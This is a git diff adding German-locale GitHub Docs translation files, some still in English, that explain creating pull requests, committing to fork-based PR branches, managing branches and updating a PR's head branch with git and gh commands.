diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
new file mode 100644
index 0000000000..3d3b8216ae
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
@@ -0,0 +1,95 @@
+---
+title: Committing changes to a pull request branch created from a fork
+intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /github/collaborating-with-issues-and-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Commit to PR branch from fork
+---
+You can only make commits on pull request branches that:
+- are opened in a repository that you have push access to and that were created from a fork of that repository
+- are on a user-owned fork
+- have permission granted from the pull request creator
+- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing
+
+Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)."
+
+{% note %}
+
+**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.location.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+
+{% endnote %}
+
+1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created.
+{% data reusables.repositories.copy-clone-url %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+ {% tip %}
+
+ **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)."
+
+ {% endtip %}
+4. Change the current working directory to the location where you want to download the cloned directory.
+  ```shell
+  $ cd open-source-projects
+  ```
+5. Type `git clone`, and then paste the URL you copied in Step 3.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY
+  ```
+6. Press **Enter**. Your local clone will be created.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY
+  > Cloning into `FORK-OF-THE-REPOSITORY`...
+  > remote: Counting objects: 10, done.
+  > remote: Compressing objects: 100% (8/8), done.
+  > remove: Total 10 (delta 1), reused 10 (delta 1)
+  > Unpacking objects: 100% (10/10), done.
+  ```
+ {% tip %}
+
+ **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory.
+
+ {% endtip %}
+7. Navigate into your new cloned repository.
+  ```shell
+  $ cd FORK-OF-THE-REPOSITORY
+  ```
+7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request.
+![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png)
+ In this example, the compare branch is `test-branch`:
+  ```shell
+  $ git checkout TEST-BRANCH
+  ```
+
+ {% tip %}
+
+ **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)."
+
+ {% endtip %}
+8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like.
+9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`:
+  ```shell
+  $ git push origin <em>test-branch</em>
+  > Counting objects: 32, done.
+  > Delta compression using up to 8 threads.
+  > Compressing objects: 100% (26/26), done.
+  > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done.
+  > Total 29 (delta 8), reused 0 (delta 0)
+  > To https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY.git
+  > 12da2e9..250e946  TEST-BRANCH -> TEST-BRANCH
+  ```
+
+Your new commits will be reflected on the original pull request on {% data variables.location.product_location %}.
+
+## Further Reading
+
+- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md
new file mode 100644
index 0000000000..1dba0060ce
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md
@@ -0,0 +1,45 @@
+---
+title: Einen Pull Request von einem Fork erstellen
+intro: 'Du kannst einen Pull Request erstellen, um Änderungen vorzuschlagen, die du an einer Fork eines vorgelagerten Repositorys vorgenommen hast.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork
+  - /articles/creating-a-pull-request-from-a-fork
+  - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork
+permissions: 'Anyone with write access to a repository can create a pull request from a user-owned fork. {% data reusables.enterprise-accounts.emu-permission-propose %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Create a PR from a fork
+ms.openlocfilehash: 5a4aceef12c214d157dbdac7bf838bbe80e81731
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883287'
+---
+Wenn Dein Pull Request Deinen Themen-Branch mit einem Branch im vorgelagerten Repository als Basis-Branch vergleicht, wird Dein Themen-Branch auch als Vergleichs-Branch des Pull Requests bezeichnet. Weitere Informationen zu Pull Request-Branches, einschließlich Beispielen, findest du unter [Erstellen eines Pull Requests](/articles/creating-a-pull-request/#changing-the-branch-range-and-destination-repository).
+
+{% data reusables.pull_requests.perms-to-open-pull-request %}
+
+1. Navigiere zum ursprünglichen Repository, von dem Du den Fork erstellt hast.
+{% data reusables.repositories.new-pull-request %}
+3. Klicke auf der Seite „Vergleichen“ auf **Forkübergreifend vergleichen**.
+  ![Link zum forkübergreifenden Vergleich](/assets/images/help/pull_requests/compare-across-forks-link.png)
+4. Wähle im „base branch" (Basis-Branch) Dropdownmenü den Branch des vorgelagerten Repository, in das Du die Änderungen zusammenführen willst.
+  ![Dropdownmenüs zur Auswahl von Basisfork und -branch](/assets/images/help/pull_requests/choose-base-fork-and-branch.png)
+5. Wähle im „head fork" (Head-Fork) Dropdownmenü Deinen Fork, dann nutze das compare branch" (Vergleichs-Branch) Dropdownmenü zur Auswahl des Branches, in dem Du die Änderungen gemacht hast.
+  ![Dropdownmenüs zum Auswählen von Headfork und Vergleichsbranch](/assets/images/help/pull_requests/choose-head-fork-compare-branch.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.allow-maintainers-user-forks %}
+
+  ![allow-maintainers-to-make-edits-checkbox](/assets/images/help/pull_requests/allow-maintainers-to-make-edits.png) {% data reusables.repositories.create-pull-request %}
+
+{% data reusables.repositories.asking-for-review %}
+
+## Weiterführende Themen
+
+- [Arbeiten mit Forks](/articles/working-with-forks)
+- [Zulassen von Änderungen an einem Pull Request-Branch, der über einen Fork erstellt wurde](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
new file mode 100644
index 0000000000..39aed962f2
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -0,0 +1,176 @@
+---
+title: Erstellen eines Pull Requests
+intro: 'Erstelle einen Pull Request, um Änderungen an einem Repository vorzuschlagen und um daran mitzuarbeiten. Diese Änderungen werden in einem *Branch* vorgeschlagen. Dadurch wird sichergestellt, dass der Standardbranch nur abgeschlossene und genehmigte Arbeiten enthält.'
+permissions: 'Anyone with read access to a repository can create a pull request. {% data reusables.enterprise-accounts.emu-permission-propose %}'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request
+  - /articles/creating-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: de387cea338fb927d2baeedd79855eefbdbc82ec
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147110993'
+---
+Wenn du einen neuen Branch für deinen Pull Request erstellen möchtest, aber über keine Schreibberechtigungen für das Repository verfügst, kannst du das Repository zunächst forken. Weitere Informationen findest du unter [Erstellen eines Pull Requests über einen Fork](/articles/creating-a-pull-request-from-a-fork) und [Informationen zu Forks](/articles/about-forks).
+
+Du kannst festlegen, in welchen Branch du deine Änderungen zusammenführen möchtest, wenn du deinen Pull Request erstellst. Pull Requests können nur zwischen zwei unterschiedlichen Branches geöffnet werden.
+
+{% data reusables.pull_requests.perms-to-open-pull-request %}
+
+{% data reusables.pull_requests.close-issues-using-keywords %}
+
+## Branch-Bereich und Ziel-Repository ändern
+
+Pull Requests basieren standardmäßig auf dem Standardbranch des übergeordneten Repositorys. Weitere Informationen findest du unter [Informationen zu Branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch).
+
+Wenn das standardmäßige übergeordnete Repository nicht korrekt ist, kannst du über die Dropdownlisten sowohl das übergeordnete Repository als auch den Branch ändern. Du kannst über die Dropdownlisten auch Head- und Basis-Branches untereinander austauschen, um Diffs zwischen Referenzpunkten zu erstellen. Referenzen müssen hier Branch-Namen in deinem GitHub-Repository sein.
+
+![Branches für Pull-Request-Bearbeitung](/assets/images/help/pull_requests/pull-request-review-edit-branch.png)
+
+Beachte bei Branches, dass der *Basisbranch* die **Stelle** ist, an der Änderungen angewendet werden sollen, und dass der *Hauptbranch* **das enthält, was du anwenden möchtest**.
+
+Wenn du das Basis-Repository änderst, änderst du auch die Benachrichtigungen für den Pull Request. Jeder, der zum Basis-Repository pushen kann, erhält eine E-Mail-Benachrichtigung und bekommt den neuen Pull Request im Dashboard angezeigt, wenn er sich das nächste Mal anmeldet.
+
+Wenn du Informationen im Branch-Bereich änderst, werden die Vorschauen für „Commit“ (Commit) und „Files changed“ (Dateien geändert) aktualisiert, um deinen neuen Bereich anzuzeigen.
+
+{% tip %}
+
+**Tipps**:
+- Über die Vergleichsansicht kannst du Vergleiche über einen bestimmten Zeitraum einrichten. Weitere Informationen findest du unter [Vergleichen von Commits](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits).
+- Projektbetreuer können eine Pull-Request-Vorlage für ein Repository hinzufügen. Vorlagen umfassen Aufforderungen für Informationen im Text eines Pull Requests. Weitere Informationen findest du unter [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates).
+
+{% endtip %}
+
+## Den Pull Request erstellen
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Wähle im Menü „Branch“ den Branch aus, der deine Commits enthält.
+  ![Branchdropdownmenü](/assets/images/help/pull_requests/branch-dropdown.png) {% data reusables.repositories.new-pull-request %}
+4. Verwende das Branchdropdownmenü _Basis_, um den Branch auszuwählen, in den du deine Änderungen mergen möchtest. Verwende dann das Branchdropdownmenü _Vergleichen_, um den Topic-Branch auszuwählen, in dem du die Änderungen vorgenommen hast.
+  ![Dropdownmenüs zum Auswählen der Basis- und Vergleichbranches](/assets/images/help/pull_requests/choose-base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% data reusables.repositories.asking-for-review %}
+
+Nachdem dein Pull Request überprüft wurde, kann er [in das Repository gemergt werden](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Verwende den Unterbefehl `gh pr create`, um einen Pull Request zu erstellen.
+
+```shell
+gh pr create
+```
+
+Mit dem Flag `--assignee` oder `-a` kannst du einer Person einen Pull Request zuweisen. Du kannst `@me` verwenden, um den Pull Request selbst zuzuweisen.
+
+```shell
+gh pr create --assignee "@octocat"
+```
+
+Verwende das Flag `--base` oder `-B`, um den Branch anzugeben, in den der Pull Request gemergt werden soll. Verwende das Flag `--head` oder `-H`, um den Branch anzugeben, der Commits für deinen Pull Request enthält.
+
+```shell
+gh pr create --base my-base-branch --head my-changed-branch
+```
+
+Mit dem Flag `--title` oder `--body` kannst du einen Titel und Textkörper für den neuen Pull Request einschließen.
+
+```shell
+gh pr create --title "The bug is fixed" --body "Everything works again"
+```
+
+Zum Markieren eines Pull Requests als Entwurf kannst du das Flag `--draft` verwenden.
+
+```shell
+gh pr create --draft
+```
+
+Nutze die Flags `--label` und `--milestone`, um Bezeichnungen oder Meilensteine zum neuen Pull Request hinzuzufügen.
+
+```shell
+gh pr create --label "bug,help wanted" --milestone octocat-milestone
+```
+
+Um den neuen Pull Request zu einem bestimmten Projekt hinzuzufügen, verwendest du das Flag `--project`.
+
+```shell
+gh pr create --project octocat-project
+```
+
+Mit dem Flag `--reviewer` kannst du eine Person oder ein Team als Reviewer zuweisen.
+
+```shell
+gh pr create --reviewer monalisa,hubot  --reviewer myorg/team-name
+```
+
+Zum Erstellen des Pull Requests in deinem Standardwebbrowser verwendest du das Flag `--web`.
+
+```shell
+gh pr create --web
+```
+
+{% endcli %}
+
+{% desktop %}
+
+{% mac %}
+
+1. Wechsle zu dem Branch, für den du einen Pull Request erstellen möchtest. Weitere Informationen findest du unter [Wechseln zwischen Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches).
+2. Klicke auf **Pull Request erstellen**. {% data variables.product.prodname_desktop %} öffnet deinen Standardbrowser und leitet dich zu {% data variables.product.prodname_dotcom %}.
+  ![Schaltfläche „Pull Request erstellen“](/assets/images/help/desktop/mac-create-pull-request.png)
+4. Vergewissere dich bei {% data variables.product.prodname_dotcom %}, dass der Branch im Dropdownmenü **Basis:** der Branch ist, in dem du deine Änderungen zusammenführen möchtest. Vergewissere dich, dass der Branch im Dropdownmenü **Vergleich:** der Topic-Branch ist, in dem du deine Änderungen vorgenommen hast.
+  ![Dropdownmenüs zum Auswählen der Basis- und Vergleichbranches](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% endmac %}
+
+{% windows %}
+
+1. Wechsle zu dem Branch, für den du einen Pull Request erstellen möchtest. Weitere Informationen findest du unter [Wechseln zwischen Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches).
+2. Klicke auf **Pull Request erstellen**. {% data variables.product.prodname_desktop %} öffnet deinen Standardbrowser und leitet dich zu {% data variables.product.prodname_dotcom %}.
+  ![Schaltfläche „Pull Request erstellen“](/assets/images/help/desktop/windows-create-pull-request.png)
+3. Vergewissere dich bei {% data variables.product.prodname_dotcom %}, dass der Branch im Dropdownmenü **Basis:** der Branch ist, in dem du deine Änderungen zusammenführen möchtest. Vergewissere dich, dass der Branch im Dropdownmenü **Vergleich:** der Topic-Branch ist, in dem du deine Änderungen vorgenommen hast.
+  ![Dropdownmenüs zum Auswählen der Basis- und Vergleichbranches](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% endwindows %}
+
+{% enddesktop %}
+
+{% ifversion fpt or ghec %}
+
+{% codespaces %}
+
+1. Nachdem du Änderungen an deiner lokalen Kopie des Repositorys committet hast, klicke auf das Symbol **Pull Request erstellen**.
+![Randleiste der Quellcodeverwaltung mit hervorgehobener Stagingschaltfläche](/assets/images/help/codespaces/codespaces-commit-pr-button.png)
+1. Überprüfe, ob der lokale Branch und das Repository, von wo aus du mergst, und der Remote-Branch und das Repository, wohin du mergst, richtig sind. Gib dem Pull Request dann einen Titel und eine Beschreibung.
+![Randleiste für GitHub-Pull-Requests](/assets/images/help/codespaces/codespaces-commit-pr.png)
+1. Klicke auf **Erstellen**.
+
+Weitere Informationen zum Erstellen von Pull Requests in {% data variables.product.prodname_github_codespaces %} findest du unter [Verwenden von {% data variables.product.prodname_github_codespaces %} für Pull Requests](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests).
+
+{% endcodespaces %}
+
+{% endif %}
+## Weiterführende Themen
+
+- [Erstellen eines Pull Requests vom einem Fork des Repositorys](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)
+- [Synchronisieren von Pull Requests mit dem Basisbranch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)
+- [Ändern des Basisbranch eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)
+- [Hinzufügen von Issues und Pull Requests zu einem Projektboard über die Randleiste](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar)
+- [Informationen zur Automatisierung von Issues und Pull Requests mit Abfrageparametern](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters)
+- [Zuweisen von Issues und Pull Requests zu anderen GitHub-Benutzer*innen](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users)
+- [Schreiben auf GitHub](/github/writing-on-github)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
new file mode 100644
index 0000000000..8ef0737eac
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
@@ -0,0 +1,82 @@
+---
+title: Creating and deleting branches within your repository
+intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
+  - /articles/deleting-branches-in-a-pull-request
+  - /articles/creating-and-deleting-branches-within-your-repository
+  - /github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Create & delete branches
+---
+
+## Creating a branch
+You can create a branch in different ways on {% data variables.product.product_name %}.
+
+{% note %}
+
+**Note:** You can only create a branch in a repository to which you have push access.
+
+{% endnote %}
+
+{% ifversion create-branch-from-overview %}
+### Creating a branch via the branches overview
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.navigate-to-branches %}
+1. Click **New branch**.
+   ![Screenshot of branches overview page with new branch button emphasized](/assets/images/help/branches/new-branch-button.png)
+2. In the dialog box, enter the branch name and optionally change the branch source.  
+   If the repository is a fork, you also have the option to select the upstream repository as the branch source.
+   ![Screenshot of branch creation modal for a fork with branch source emphasized](/assets/images/help/branches/branch-creation-popup-branch-source.png)
+3. Click **Create branch**.
+   ![Screenshot of branch creation modal with create branch button emphasized](/assets/images/help/branches/branch-creation-popup-button.png)
+{% endif %}
+
+### Creating a branch using the branch dropdown
+{% data reusables.repositories.navigate-to-repo %}
+1. Optionally, if you want to create the new branch from a branch other than the default branch of the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **Branches** then choose another branch.
+    ![Branches link on overview page](/assets/images/help/branches/branches-overview-link.png)
+1. Click the branch selector menu.
+    ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png)
+1. Type a unique name for your new branch, then select **Create branch**.
+    ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png)
+    
+{% ifversion fpt or ghec or ghes > 3.4 %}
+### Creating a branch for an issue
+You can create a branch to work on an issue directly from the issue page and get started right away. For more information, see "[Creating a branch to work on an issue](/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue)".
+{% endif %}
+
+## Deleting a branch
+
+{% data reusables.pull_requests.automatically-delete-branches %}
+
+{% note %}
+
+**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+
+{% endnote %}
+
+If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.navigate-to-branches %}
+1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}.
+    ![delete the branch](/assets/images/help/branches/branches-delete.png) {% ifversion fpt or ghes > 3.5 or ghae > 3.5 or ghec %}
+1. If you try to delete a branch that is associated with at least one open pull request, you must confirm that you intend to close the pull request(s).
+   
+   ![Confirm deleting a branch](/assets/images/help/branches/confirm-deleting-branch.png){% endif %}
+
+{% data reusables.pull_requests.retargeted-on-branch-deletion %}
+For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+
+## Further reading
+
+- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
+- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)"
+- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
new file mode 100644
index 0000000000..4f7e699f95
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
@@ -0,0 +1,36 @@
+---
+title: Änderungen an Deiner Arbeit mittels Pull Requests vorschlagen
+intro: 'Wenn du Änderungen zu einem Themen-Branch oder einem Fork hinzugefügt hast, kannst du einen Pull Request öffnen und deine Mitarbeiter oder den Repository-Administrator darum bitten, deine Änderungen vor dem Merge in das Projekt zu überprüfen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests
+  - /articles/proposing-changes-to-your-work-with-pull-requests
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-branches
+  - /creating-and-deleting-branches-within-your-repository
+  - /about-pull-requests
+  - /about-comparing-branches-in-pull-requests
+  - /creating-a-pull-request
+  - /creating-a-pull-request-from-a-fork
+  - /using-query-parameters-to-create-a-pull-request
+  - /changing-the-stage-of-a-pull-request
+  - /requesting-a-pull-request-review
+  - /keeping-your-pull-request-in-sync-with-the-base-branch
+  - /changing-the-base-branch-of-a-pull-request
+  - /committing-changes-to-a-pull-request-branch-created-from-a-fork
+shortTitle: Propose changes
+ms.openlocfilehash: 6c13c67b6dd3dcd798274f3cc9ef608a4a8117a5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133906'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md
new file mode 100644
index 0000000000..b40883211d
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md
@@ -0,0 +1,56 @@
+---
+title: Keeping your pull request in sync with the base branch
+intro: 'After you open a pull request, you can update the head branch, which contains your changes, with any changes that have been made in the base branch.'
+permissions: People with write permissions to the repository to which the head branch of the pull request belongs can update the head branch with changes that have been made in the base branch.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Update the head branch
+---
+
+## About keeping your pull request in sync
+
+Before merging your pull requests, other changes may get merged into the base branch causing your pull request's head branch to be out of sync. Updating your pull request with the latest changes from the base branch can help catch problems prior to merging.
+
+You can update a pull request's head branch from the command line or the pull request page. The **Update branch** button is displayed when all of these are true:
+
+* There are no merge conflicts between the pull request branch and the base branch.
+* The pull request branch is not up to date with the base branch.
+* The base branch requires branches to be up to date before merging{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} or the setting to always suggest updating branches is enabled{% endif %}.
+
+For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}" and "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches){% endif %}."
+
+If there are changes to the base branch that cause merge conflicts in your pull request branch, you will not be able to update the branch until all conflicts are resolved. For more information, see "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)."
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+From the pull request page you can update your pull request's branch using a traditional merge or by rebasing. A traditional merge results in a merge commit that merges the base branch into the head branch of the pull request. Rebasing applies the changes from _your_ branch onto the latest version of the base branch. The result is a branch with a linear history, since no merge commit is created.
+{% else %}
+Updating your branch from the pull request page performs a traditional merge. The resulting merge commit merges the base branch into the head branch of the pull request.
+{% endif %}
+
+## Updating your pull request branch
+
+{% data reusables.repositories.sidebar-pr %}
+
+1. In the "Pull requests" list, click the pull request you'd like to update.
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the merge section near the bottom of the page, you can:
+   - Click **Update branch** to perform a traditional merge.
+   ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch-with-dropdown.png)
+   - Click the update branch drop down menu, click **Update with rebase**, and then click **Rebase branch** to update by rebasing on the base branch.
+   ![Drop-down menu showing merge and rebase options](/assets/images/help/pull_requests/pull-request-update-branch-rebase-option.png)
+{% else %}
+1. In the merge section near the bottom of the page, click **Update branch** to perform a traditional merge.
+  ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch.png)
+{% endif %}
+
+## Further reading
+
+- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
+- "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)"
+- "[Committing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
new file mode 100644
index 0000000000..757db70a41
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
@@ -0,0 +1,53 @@
+---
+title: Pull-Request-Review anfordern
